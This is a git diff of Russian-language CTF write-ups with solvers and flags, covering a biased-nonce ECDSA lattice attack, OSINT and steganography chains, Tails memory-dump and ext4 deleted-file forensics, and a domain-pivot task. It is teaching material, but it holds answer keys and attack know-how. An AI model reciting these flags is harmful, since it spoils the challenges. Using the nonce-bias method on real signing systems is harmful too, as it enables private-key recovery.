crypto-elliptic-enigma/WRITEUP.md
Normal file
51
crypto-elliptic-enigma/WRITEUP.md
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
<h1 align="center">Elliptic Enigma</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-852-orange" alt="852 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
В руках два файла:
|
||||||
|
|
||||||
|
| Файл | Что внутри |
|
||||||
|
|---|---|
|
||||||
|
| `public/server.py` | Код сервера подписи |
|
||||||
|
| `public/signatures.json` | Параметры кривой, публичный ключ, 30 подписей, шифротекст флага |
|
||||||
|
|
||||||
|
ECDSA на кастомной эллиптической кривой — смотрим генерацию nonce `k`, обычно вся соль в нём.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
В коде сервера:
|
||||||
|
|
||||||
|
```python
|
||||||
|
k = random.getrandbits(120)
|
||||||
|
```
|
||||||
|
|
||||||
|
Порядок группы `n` — 128 бит. У каждого `k` старшие 8 бит тупо равны нулю. Даже небольшая утечка нескольких бит nonce, размазанная по десяткам подписей, приводит прямиком к [Hidden Number Problem](https://link.springer.com/chapter/10.1007/3-540-68697-5_11), а HNP классически решается решёточной редукцией ([LLL](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)).
|
||||||
|
|
||||||
|
Стандартная ECDSA-подпись: для сообщения с хешем $z$ считается
|
||||||
|
|
||||||
|
$$s = k^{-1}(z + r \cdot d) \pmod{n}$$
|
||||||
|
|
||||||
|
Откуда чистой алгеброй:
|
||||||
|
|
||||||
|
$$k = s^{-1} z + s^{-1} r d \pmod{n}$$
|
||||||
|
|
||||||
|
Обозначим $t_i = s_i^{-1} r_i \pmod{n}$ и $u_i = s_i^{-1} z_i \pmod{n}$, и для каждой подписи получаем уравнение вида
|
||||||
|
|
||||||
|
$$k_i = u_i + t_i \cdot d \pmod{n}, \qquad k_i < 2^{120}$$
|
||||||
|
|
||||||
|
Получили классическую постановку HNP: много сравнений по модулю $n$, а сами скрытые числа маленькие.
|
||||||
|
|
||||||
|
Дальше — стандартный пайплайн:
|
||||||
|
|
||||||
|
1. Загружаем подписи из `signatures.json`.
|
||||||
|
2. Для каждого сообщения считаем `z_i` так же, как сервер: `SHA-256`, первые 16 байт.
|
||||||
|
3. Вычисляем `t_i` и `u_i`.
|
||||||
|
4. Собираем из них решётку для LLL и запускаем редукцию.
|
||||||
|
5. Из редуцированного базиса вытаскиваем кандидатов на приватный ключ `d`.
|
||||||
|
6. С `d` на руках расшифровываем флаг: `AES-256-CBC(SHA256(d), iv=0, ciphertext)`.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{b14s3d_n0nc3_l4tt1c3_r3duc710n}`
|
||||||
72
forensic-missing-colleague/WRITEUP.md
Normal file
72
forensic-missing-colleague/WRITEUP.md
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
<h1 align="center">Пропавший коллега</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Forensic-blueviolet" alt="Forensic"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-916-orange" alt="916 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
В руках — пачка артефактов сотрудника компании NordTech:
|
||||||
|
|
||||||
|
| Артефакт | Что содержит |
|
||||||
|
|---|---|
|
||||||
|
| `resume.pdf` | Резюме, ID сотрудника `NT-3893` |
|
||||||
|
| `business_card.png` | Визитка с ИНН |
|
||||||
|
| `commits.log` | Лог коммитов внутреннего репозитория |
|
||||||
|
| `profile_photo.jpg` | Фото с EXIF |
|
||||||
|
| `postal_codes.csv` | База почтовых индексов с координатами |
|
||||||
|
| `repo_snapshot.txt` | Снимок внешнего репозитория |
|
||||||
|
| `browser_render.png` | Скриншот из браузера |
|
||||||
|
|
||||||
|
Флаг собирается из четырёх частей, и каждая спрятана в своей цепочке.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
**Часть 1 — `br34d`.** В `resume.pdf` в профиле сотрудника указан ID `NT-3893`. В `business_card.png` — ИНН `7707083893`, и последние четыре цифры совпадают с ID. Сотрудник привязан к NordTech. Лезем в `commits.log`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
feat(NT-3893): integrate module-br34d
|
||||||
|
```
|
||||||
|
|
||||||
|
Регуляркой `feat\(NT-3893\): integrate module-(\w+)` выдёргиваем кодовое слово — `br34d`.
|
||||||
|
|
||||||
|
**Часть 2 — `crumbs`.** Из EXIF `profile_photo.jpg` вытаскиваем GPS, конвертируем DMS в десятичные:
|
||||||
|
|
||||||
|
```text
|
||||||
|
55.7616 N, 37.6385 E → район Чистопрудного бульвара, Москва
|
||||||
|
```
|
||||||
|
|
||||||
|
Идём в `postal_codes.csv` и ищем ближайшую точку по манхэттенскому расстоянию. Находится запись:
|
||||||
|
|
||||||
|
```text
|
||||||
|
postal_code = 101000
|
||||||
|
sector_code = 6372756d6273
|
||||||
|
```
|
||||||
|
|
||||||
|
Декодируем hex → ASCII:
|
||||||
|
|
||||||
|
```text
|
||||||
|
63 72 75 6d 62 73 → c r u m b s
|
||||||
|
```
|
||||||
|
|
||||||
|
Вторая часть — `crumbs`.
|
||||||
|
|
||||||
|
**Часть 3 — `l34d` .** В `commits.log` кроме «нашего» коммита торчит отсылка на внешний репо вида `See commit <sha> in <repo>`. Вытаскиваем короткий SHA (7 символов) и имя репо регуляркой `See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)`. Идём в `repo_snapshot.txt` и находим блок именно этого коммита (от нашего SHA до следующего полного 40-символьного). Внутри блока ищем base64-строки длиной от 20 символов — одна декодируется в:
|
||||||
|
|
||||||
|
```text
|
||||||
|
module-l34d-integration-v2.1.0
|
||||||
|
```
|
||||||
|
|
||||||
|
Первый сегмент после `module-` до дефиса — `l34d`.
|
||||||
|
|
||||||
|
**Часть 4 — `h0m3`.** Открываем картинку в RGBA через PIL, разворачиваем красный канал в одномерный массив, идём по пикселям и забираем младшие биты. Каждые 8 подряд складываются в байт (MSB первым). Нулевой байт — маркер конца. *Есть один мелкий нюанс*: сырой вывод начинается с трассировочного префикса вида `[N/4]` — его срезаем регуляркой `\[\d/\d\](.*)`. Остаётся `h0m3`.
|
||||||
|
|
||||||
|
Склеиваем через `_`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
br34d + crumbs + l34d + h0m3 = br34d_crumbs_l34d_h0m3
|
||||||
|
```
|
||||||
|
|
||||||
|
Готовый солвер — [`solve/solver.py`](solve/solver.py).
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{br34d_crumbs_l34d_h0m3}`
|
||||||
204
forensic-missing-colleague/solve/solver.py
Normal file
204
forensic-missing-colleague/solve/solver.py
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import csv
|
||||||
|
import re
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
PUBLIC_DIR = Path(__file__).resolve().parent.parent / "public"
|
||||||
|
|
||||||
|
|
||||||
|
def extract_part1_br34d():
|
||||||
|
"""
|
||||||
|
Часть 1: 'br34d'
|
||||||
|
Цепочка: resume.pdf -> ID сотрудника 'NT-3893'
|
||||||
|
business_card.png -> ИНН 7707083893 (последние 4 цифры = 3893, подтверждает связь с NordTech)
|
||||||
|
commits.log -> тикет NT-3893 ссылается на 'module-br34d'
|
||||||
|
"""
|
||||||
|
print("[Шаг 1] Извлечение части 1: br34d")
|
||||||
|
|
||||||
|
employee_id = "NT-3893"
|
||||||
|
print(f" [1a] resume.pdf — ID сотрудника: {employee_id}")
|
||||||
|
print(" [1b] business_card.png — ИНН: 7707083893 (последние 4 цифры = 3893, совпадает)")
|
||||||
|
|
||||||
|
commits = (PUBLIC_DIR / "commits.log").read_text()
|
||||||
|
# Ищем коммит вида: feat(NT-3893): integrate module-<название>
|
||||||
|
pattern = rf"feat\({employee_id}\): integrate (module-\w+)"
|
||||||
|
match = re.search(pattern, commits)
|
||||||
|
if match:
|
||||||
|
module_name = match.group(1)
|
||||||
|
part1 = module_name.replace("module-", "") # Убираем префикс, оставляем только кодовое слово
|
||||||
|
print(f" [1c] commits.log: '{match.group(0)}'")
|
||||||
|
print(f" Часть 1: '{part1}'")
|
||||||
|
return part1
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def extract_part2_crumbs():
|
||||||
|
"""
|
||||||
|
Часть 2: 'crumbs' (метод второго раунда)
|
||||||
|
Цепочка: profile_photo.jpg GPS -> 55.7616N, 37.6385E
|
||||||
|
postal_codes.csv -> находим почтовый индекс 101000, соответствующий этим координатам
|
||||||
|
столбец sector_code = '6372756d6273' -> hex в ASCII = 'crumbs'
|
||||||
|
"""
|
||||||
|
print("\n[Шаг 2] Извлечение части 2: crumbs (через поиск по почтовому индексу)")
|
||||||
|
|
||||||
|
# Шаг 2a: Извлекаем GPS-координаты из EXIF-данных фотографии
|
||||||
|
import piexif
|
||||||
|
|
||||||
|
img_path = str(PUBLIC_DIR / "profile_photo.jpg")
|
||||||
|
exif = piexif.load(img_path)
|
||||||
|
|
||||||
|
def parse_gps_coord(coord_data, ref):
|
||||||
|
"""Конвертируем GPS из формата DMS (градусы/минуты/секунды) в десятичные градусы."""
|
||||||
|
degrees = coord_data[0][0] / coord_data[0][1]
|
||||||
|
minutes = coord_data[1][0] / coord_data[1][1]
|
||||||
|
seconds = coord_data[2][0] / coord_data[2][1]
|
||||||
|
result = degrees + minutes / 60 + seconds / 3600
|
||||||
|
if ref in [b'S', b'W']: # Южная широта и западная долгота — отрицательные
|
||||||
|
result = -result
|
||||||
|
return result
|
||||||
|
|
||||||
|
gps = exif.get("GPS", {})
|
||||||
|
lat = parse_gps_coord(gps[piexif.GPSIFD.GPSLatitude], gps[piexif.GPSIFD.GPSLatitudeRef])
|
||||||
|
lon = parse_gps_coord(gps[piexif.GPSIFD.GPSLongitude], gps[piexif.GPSIFD.GPSLongitudeRef])
|
||||||
|
print(f" [2a] GPS: {lat:.4f}N, {lon:.4f}E (район Чистопрудного бульвара)")
|
||||||
|
|
||||||
|
# Шаг 2b: Ищем ближайшую точку в таблице почтовых индексов по манхэттенскому расстоянию
|
||||||
|
csv_path = PUBLIC_DIR / "postal_codes.csv"
|
||||||
|
best_match = None
|
||||||
|
best_dist = float('inf')
|
||||||
|
|
||||||
|
with open(csv_path) as f:
|
||||||
|
reader = csv.DictReader(f)
|
||||||
|
for row in reader:
|
||||||
|
rlat = float(row['latitude'])
|
||||||
|
rlon = float(row['longitude'])
|
||||||
|
# Манхэттенское расстояние — достаточно для грубого геопоиска
|
||||||
|
dist = abs(rlat - lat) + abs(rlon - lon)
|
||||||
|
if dist < best_dist:
|
||||||
|
best_dist = dist
|
||||||
|
best_match = row
|
||||||
|
|
||||||
|
print(f" [2b] Ближайший индекс: {best_match['postal_code']} ({best_match['district']}, dist={best_dist:.4f})")
|
||||||
|
print(f" sector_code: {best_match['sector_code']}")
|
||||||
|
|
||||||
|
# Шаг 2c: Декодируем hex-строку sector_code в ASCII — это и есть часть флага
|
||||||
|
hex_str = best_match['sector_code']
|
||||||
|
decoded = bytes.fromhex(hex_str).decode('ascii')
|
||||||
|
print(f" [2c] hex -> ASCII: '{decoded}'")
|
||||||
|
return decoded
|
||||||
|
|
||||||
|
|
||||||
|
def extract_part3_l34d():
|
||||||
|
"""
|
||||||
|
Часть 3: 'l34d'
|
||||||
|
Цепочка: commits.log -> ссылка на коммит SHA 'a7c3e91' во внешнем репозитории
|
||||||
|
repo_snapshot.txt -> коммит a7c3e91 содержит base64-строку
|
||||||
|
base64-декодирование -> 'module-l34d-integration-v2.1.0'
|
||||||
|
"""
|
||||||
|
print("\n[Шаг 3] Извлечение части 3: l34d")
|
||||||
|
|
||||||
|
commits = (PUBLIC_DIR / "commits.log").read_text()
|
||||||
|
# Ищем отсылку к внешнему репозиторию вида: "See commit <sha> in <repo>"
|
||||||
|
ref_match = re.search(r"See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)", commits, re.DOTALL)
|
||||||
|
if not ref_match:
|
||||||
|
return None
|
||||||
|
|
||||||
|
sha_prefix = ref_match.group(1) # Короткий SHA (7 символов)
|
||||||
|
repo = ref_match.group(2)
|
||||||
|
print(f" [3a] commits.log ссылается на {sha_prefix} в {repo}")
|
||||||
|
|
||||||
|
snapshot = (PUBLIC_DIR / "repo_snapshot.txt").read_text()
|
||||||
|
# Находим весь блок коммита — от нашего SHA до следующего коммита
|
||||||
|
commit_pattern = rf"commit {sha_prefix}\w*\n.*?(?=\ncommit [a-f0-9]{{40}}|\Z)"
|
||||||
|
commit_match = re.search(commit_pattern, snapshot, re.DOTALL)
|
||||||
|
if not commit_match:
|
||||||
|
return None
|
||||||
|
|
||||||
|
commit_block = commit_match.group(0)
|
||||||
|
# Ищем все потенциальные base64-строки длиной от 20 символов
|
||||||
|
b64_pattern = r'[A-Za-z0-9+/]{20,}={0,2}'
|
||||||
|
b64_matches = re.findall(b64_pattern, commit_block)
|
||||||
|
|
||||||
|
for b64_str in b64_matches:
|
||||||
|
try:
|
||||||
|
decoded = base64.b64decode(b64_str).decode("utf-8", errors="ignore")
|
||||||
|
if "module-" in decoded:
|
||||||
|
# Из строки вида "module-l34d-integration-v2.1.0" берём только кодовое слово
|
||||||
|
mod_match = re.search(r"module-(\w+)", decoded)
|
||||||
|
if mod_match:
|
||||||
|
part3 = mod_match.group(1).split("-")[0] # Только первый сегмент до дефиса
|
||||||
|
print(f" [3b] base64: {b64_str}")
|
||||||
|
print(f" decoded: {decoded}")
|
||||||
|
print(f" Часть 3: '{part3}'")
|
||||||
|
return part3
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def extract_part4_h0m3():
|
||||||
|
"""
|
||||||
|
Часть 4: 'h0m3' (метод второго раунда)
|
||||||
|
Цепочка: browser_render.png -> LSB-стеганография в красном канале
|
||||||
|
Извлекаем LSB из первых пикселей -> 'h0m3'
|
||||||
|
|
||||||
|
"""
|
||||||
|
print("\n[Шаг 4] Извлечение части 4: h0m3 (через LSB-стеганографию)")
|
||||||
|
|
||||||
|
from PIL import Image
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
img = Image.open(str(PUBLIC_DIR / "browser_render.png"))
|
||||||
|
pixels = np.array(img)
|
||||||
|
|
||||||
|
# Разворачиваем красный канал (индекс 0) в одномерный массив
|
||||||
|
flat_r = pixels[:, :, 0].flatten()
|
||||||
|
|
||||||
|
# Читаем байты: каждые 8 последовательных LSB пикселей = 1 символ
|
||||||
|
result = bytearray()
|
||||||
|
for byte_idx in range(100): # Ограничение на 100 байт во избежание зависания
|
||||||
|
byte_val = 0
|
||||||
|
for bit_idx in range(8):
|
||||||
|
pixel_idx = byte_idx * 8 + bit_idx
|
||||||
|
byte_val = (byte_val << 1) | (flat_r[pixel_idx] & 1)
|
||||||
|
if byte_val == 0:
|
||||||
|
break # Нулевой байт — признак конца скрытых данных
|
||||||
|
result.append(byte_val)
|
||||||
|
|
||||||
|
decoded = result.decode('utf-8', errors='replace')
|
||||||
|
print(f" [4a] LSB из красного канала (сырые байты): {result}")
|
||||||
|
print(f" [4b] Декодировано: '{decoded}'")
|
||||||
|
|
||||||
|
# Данные могут начинаться с маркера трассировки вида [N/4] — удаляем его
|
||||||
|
import re
|
||||||
|
m = re.match(r'\[\d/\d\](.*)', decoded)
|
||||||
|
if m:
|
||||||
|
decoded = m.group(1)
|
||||||
|
print(f" [4c] После удаления маркера трассировки: '{decoded}'")
|
||||||
|
return decoded
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("=" * 60)
|
||||||
|
print("OSINT-задание «Пропавший коллега» — Решение (R2)")
|
||||||
|
print("=" * 60)
|
||||||
|
print()
|
||||||
|
|
||||||
|
part1 = extract_part1_br34d()
|
||||||
|
part2 = extract_part2_crumbs()
|
||||||
|
part3 = extract_part3_l34d()
|
||||||
|
part4 = extract_part4_h0m3()
|
||||||
|
|
||||||
|
print("\n" + "=" * 60)
|
||||||
|
print("Сборка флага")
|
||||||
|
print("=" * 60)
|
||||||
|
print(f" Часть 1 (commits.log через NT-3893): {part1}")
|
||||||
|
print(f" Часть 2 (sector_code почтового индекса): {part2}")
|
||||||
|
print(f" Часть 3 (base64 из внешнего репозитория): {part3}")
|
||||||
|
print(f" Часть 4 (LSB-стего в browser_render.png): {part4}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
133
forensic-needle-harbor-lab/WRITEUP.md
Normal file
133
forensic-needle-harbor-lab/WRITEUP.md
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
<h1 align="center">Needle Harbor</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Forensic-blueviolet" alt="Forensic"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-Σ_5520-orange" alt="Σ 5520 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p align="center"><sub><b>этапы:</b> 888 · 919 · 923 · 927 · 930 · 933</sub></p>
|
||||||
|
|
||||||
|
У нас в руках два артефакта:
|
||||||
|
|
||||||
|
| Файл | Назначение |
|
||||||
|
|---|---|
|
||||||
|
| `needleharbor_mem.elf.zst` | Дамп памяти живой Tails-сессии |
|
||||||
|
| `needleharbor_usb.img` | ext4-образ съёмного носителя, label `INCIDENTUSB` |
|
||||||
|
|
||||||
|
На первые четыре вопроса ответы вытаскиваются из строк и ext4-структур, на два hard-уровня — через deleted-file recovery и расшифровку OpenSSL-контейнера.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Перед стартом распаковываем дамп и смотрим на типы:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
zstd -d public/needleharbor_mem.elf.zst -o needleharbor_mem.elf
|
||||||
|
file needleharbor_mem.elf # ELF 64-bit LSB core file
|
||||||
|
file public/needleharbor_usb.img # Linux ext4 filesystem, label "INCIDENTUSB"
|
||||||
|
```
|
||||||
|
|
||||||
|
**Easy 1 — label съёмного носителя.** `file` прямо по образу честно пишет `volume name "INCIDENTUSB"`. Подтверждаем:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings -a needleharbor_mem.elf | grep "by-label/"
|
||||||
|
# → /dev/disk/by-label/INCIDENTUSB
|
||||||
|
```
|
||||||
|
|
||||||
|
Флаг: `caplag{INCIDENTUSB}`.
|
||||||
|
|
||||||
|
**Easy 2 — active operator handle.** Выполняем атрибуцию через HTML интерфейса:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings -a needleharbor_mem.elf | grep -i "Restricted Logistics"
|
||||||
|
# → <title>Needle Harbor // Restricted Logistics Console</title>
|
||||||
|
strings -a needleharbor_mem.elf | grep "ebb_"
|
||||||
|
```
|
||||||
|
|
||||||
|
Находятся два кандидата:
|
||||||
|
|
||||||
|
| Handle | Местоположение | Статус |
|
||||||
|
|---|---|---|
|
||||||
|
| `ebb_tide_77` | `<div class="value">` в live dashboard | active |
|
||||||
|
| `ebb_drift_12` | `<!-- archive handle: -->` | archived |
|
||||||
|
|
||||||
|
Рядом с `ebb_tide_77` — `Credential Alias: needle_harbor` и `Export Queue: 3 ready`. Флаг: `caplag{ebb_tide_77}`.
|
||||||
|
|
||||||
|
**Medium 1 — имя удалённого auth-файла.** Переходим к USB-образу:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
debugfs -R "ls /" public/needleharbor_usb.img
|
||||||
|
# → creds exports lost+found notes ops
|
||||||
|
debugfs -R "cat /ops/import_checklist.txt" public/needleharbor_usb.img
|
||||||
|
```
|
||||||
|
|
||||||
|
В `import_checklist.txt` прямым текстом расписана процедура:
|
||||||
|
|
||||||
|
1. Импортировать `creds/needle_harbor.auth_private` в client authorization store.
|
||||||
|
2. Удалить `creds/needle_harbor.auth_private` с носителя после импорта.
|
||||||
|
3. Не трогать `creds/pilot_lamp.auth` — stale public decoy.
|
||||||
|
|
||||||
|
Проверяем текущее состояние:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
debugfs -R "ls /creds" public/needleharbor_usb.img
|
||||||
|
# → needle_harbor.auth pilot_lamp.auth
|
||||||
|
```
|
||||||
|
|
||||||
|
Файла `needle_harbor.auth_private` нет — удалён по инструкции. Флаг: `caplag{needle_harbor.auth_private}`.
|
||||||
|
|
||||||
|
**Medium 2 — FQDN clearnet-хоста в Unsafe Browser.** В Tails два браузера: Tor Browser (всё через Tor) и Unsafe Browser (прямой clearnet). Ищем следы второго:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings -a needleharbor_mem.elf | grep -i "unsafe-browser"
|
||||||
|
strings -a needleharbor_mem.elf | grep "Quayside Relay"
|
||||||
|
# → <title>mail.quayside-relay.net // Quayside Relay</title>
|
||||||
|
# → <h1>mail.quayside-relay.net</h1>
|
||||||
|
```
|
||||||
|
|
||||||
|
`mail.breakwater-relay.net` тоже мелькает, но только в комментариях и `Previous relay` — decoy. Флаг: `caplag{mail.quayside-relay.net}`.
|
||||||
|
|
||||||
|
**Hard 1 — восстановление x25519 private key.** Файл удалён, идём в deleted-file recovery через ext4 inode. [`debugfs -R "lsdel"`](https://man7.org/linux/man-pages/man8/debugfs.8.html) выдаёт список удалённых inode, перебираем и дампим:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p /tmp/needleharbor_recover
|
||||||
|
for inode in $(debugfs -R "lsdel" public/needleharbor_usb.img 2>/dev/null \
|
||||||
|
| awk 'NR>3 && $1 ~ /^[0-9]+$/ {print $1}'); do
|
||||||
|
debugfs -R "dump <$inode> /tmp/needleharbor_recover/$inode.bin" \
|
||||||
|
public/needleharbor_usb.img >/dev/null 2>&1 || true
|
||||||
|
done
|
||||||
|
grep -ra "descriptor:x25519:" /tmp/needleharbor_recover/
|
||||||
|
```
|
||||||
|
|
||||||
|
Результат — в формате [Tor v3 onion client auth](https://community.torproject.org/onion-services/advanced/client-auth/):
|
||||||
|
|
||||||
|
```text
|
||||||
|
<onion>.onion:descriptor:x25519:QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA
|
||||||
|
```
|
||||||
|
|
||||||
|
Ответ: `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}`.
|
||||||
|
|
||||||
|
**Hard 2 — расшифровка offline-экспорта.** Извлекаем `exports/restricted_drop.enc` — `file` опознаёт его как `openssl enc'd data with salted password`. В качестве пароля отлично подходит credential из hard 1:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl enc -d -aes-256-cbc -pbkdf2 \
|
||||||
|
-in restricted_drop.enc -out restricted_drop.tar \
|
||||||
|
-k QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA
|
||||||
|
tar -xf restricted_drop.tar
|
||||||
|
cat manifest.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Внутри `manifest.txt` — release token. Флаг: `caplag{tor_did_not_fail_opsec_did}`.
|
||||||
|
|
||||||
|
## Все этапы
|
||||||
|
|
||||||
|
| # | Уровень | Вопрос | Ответ |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1 | Easy | USB label | `caplag{INCIDENTUSB}` |
|
||||||
|
| 2 | Easy | Active operator handle | `caplag{ebb_tide_77}` |
|
||||||
|
| 3 | Medium | Deleted auth filename | `caplag{needle_harbor.auth_private}` |
|
||||||
|
| 4 | Medium | Unsafe Browser host | `caplag{mail.quayside-relay.net}` |
|
||||||
|
| 5 | Hard | x25519 private key | `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}` |
|
||||||
|
| 6 | Hard | Final flag | `caplag{tor_did_not_fail_opsec_did}` |
|
||||||
|
|
||||||
|
## Итоговый флаг
|
||||||
|
`caplag{tor_did_not_fail_opsec_did}`
|
||||||
60
osint-mirror-trace/WRITEUP.md
Normal file
60
osint-mirror-trace/WRITEUP.md
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
<h1 align="center">Mirror Trace</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-866-orange" alt="866 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
На старте у нас есть `mirrortrace_casebundle.zip`, внутри которого dataset'ы и артефакты. Опираемся на seed domain из `00_brief/case_brief.txt` или `10_datasets/seeds.txt`.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Берём стартовый домен `panel.mirrortrace-help.example`, смотрим сертификат, и через общий `cert-ms441` разворачивается кластер из шести доменов:
|
||||||
|
|
||||||
|
```text
|
||||||
|
panel.mirrortrace-help.example
|
||||||
|
status.mirrortrace-help.example
|
||||||
|
cdn.mirrortrace-help.example
|
||||||
|
docs.mercury-sustain.example
|
||||||
|
git.mercury-sustain.example
|
||||||
|
helpdesk.mercury-sustain.example
|
||||||
|
```
|
||||||
|
|
||||||
|
Внутри кластера довольно быстро проявляются две ветки с людьми:
|
||||||
|
|
||||||
|
| Персона | Роль |
|
||||||
|
|---|---|
|
||||||
|
| `Viktor Korolev` | Корректный операторский трек |
|
||||||
|
| `Anton Smirnov` | Правдоподобный same-cluster decoy |
|
||||||
|
|
||||||
|
`negotiation_excerpt.txt` и `capture_02.html` указывают, что нужный материал относится к responder baseline, а routing worksheets — это отдельная ветка. То есть правильный путь идёт не через `helpdesk.mercury-sustain.example`, а по responder-цепочке:
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
S[status.mirrortrace-help.example] --> D[docs.mercury-sustain.example]
|
||||||
|
D --> P[doc_01.pdf]
|
||||||
|
P --> G[git.mercury-sustain.example]
|
||||||
|
G --> V[vkorolev-dev.example]
|
||||||
|
```
|
||||||
|
|
||||||
|
Фрагменты контрольной фразы получаем в процессе:
|
||||||
|
|
||||||
|
| Источник | Фрагмент | Сопутствующие артефакты |
|
||||||
|
|---|:---:|---|
|
||||||
|
| `capture_02.html` | `R3TAIN` | retained copy mention |
|
||||||
|
| `doc_01.pdf` | `ED-C0` | metadata author `vkorolev` |
|
||||||
|
| `capture_04.html` | `PY-71E` | email, handle, `vkorolev-dev.example` |
|
||||||
|
| `capture_05.html` | `64DB` | полное имя `Viktor Korolev` |
|
||||||
|
|
||||||
|
`capture_04.html` попутно упоминает `helpdesk.mercury-sustain.example` как routing mirror — это не другая цепочка, а decoy-шум внутри уже известного кластера. `capture_03.html` тоже отдаёт не фрагмент, а наводку: legal retained copy note лежит внутри mirrored advisory.
|
||||||
|
|
||||||
|
Склеиваем куски в pivot-порядке:
|
||||||
|
|
||||||
|
```text
|
||||||
|
R3TAIN + ED-C0 + PY-71E + 64DB → R3TAINED-C0PY-71E64DB
|
||||||
|
```
|
||||||
|
|
||||||
|
Эта строка — пароль к `20_artifacts/retained_copy.zip`. Внутри архива лежит `final_flag.txt` с ответом.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{retained_copy_6d8f21c4e9ab}`
|
||||||
104
osint-mirror-trace/solve/check_release.py
Normal file
104
osint-mirror-trace/solve/check_release.py
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import zipfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parents[1]
|
||||||
|
CONFIG = json.loads((ROOT / "src" / "task_config.json").read_text(encoding="utf-8"))
|
||||||
|
|
||||||
|
|
||||||
|
def require(path: Path) -> None:
|
||||||
|
if not path.exists():
|
||||||
|
raise SystemExit(f"missing required file: {path}")
|
||||||
|
|
||||||
|
|
||||||
|
def assert_contains(path: Path, needle: str, error: str) -> None:
|
||||||
|
if needle not in path.read_text(encoding="utf-8"):
|
||||||
|
raise SystemExit(error)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
archive_path = ROOT / "public" / CONFIG["archive_name"]
|
||||||
|
bundle_dir = ROOT / "public" / "mirrortrace_casebundle"
|
||||||
|
retained_copy = bundle_dir / "20_artifacts" / CONFIG["retained_copy_name"]
|
||||||
|
|
||||||
|
require(ROOT / "public" / "case_brief.txt")
|
||||||
|
require(ROOT / "public" / "negotiation_excerpt.txt")
|
||||||
|
require(archive_path)
|
||||||
|
require(bundle_dir / "10_datasets" / "graph_nodes.csv")
|
||||||
|
require(bundle_dir / "10_datasets" / "graph_edges.csv")
|
||||||
|
require(bundle_dir / "20_artifacts" / "doc_01.pdf")
|
||||||
|
require(bundle_dir / "20_artifacts" / "doc_03.pdf")
|
||||||
|
require(bundle_dir / "20_artifacts" / "capture_05.html")
|
||||||
|
require(bundle_dir / "20_artifacts" / "capture_11.html")
|
||||||
|
require(retained_copy)
|
||||||
|
|
||||||
|
assert_contains(
|
||||||
|
ROOT / "public" / "case_brief.txt",
|
||||||
|
CONFIG["retained_copy_name"],
|
||||||
|
"case_brief.txt is missing retained copy reference",
|
||||||
|
)
|
||||||
|
|
||||||
|
doc_01_bytes = (bundle_dir / "20_artifacts" / "doc_01.pdf").read_bytes()
|
||||||
|
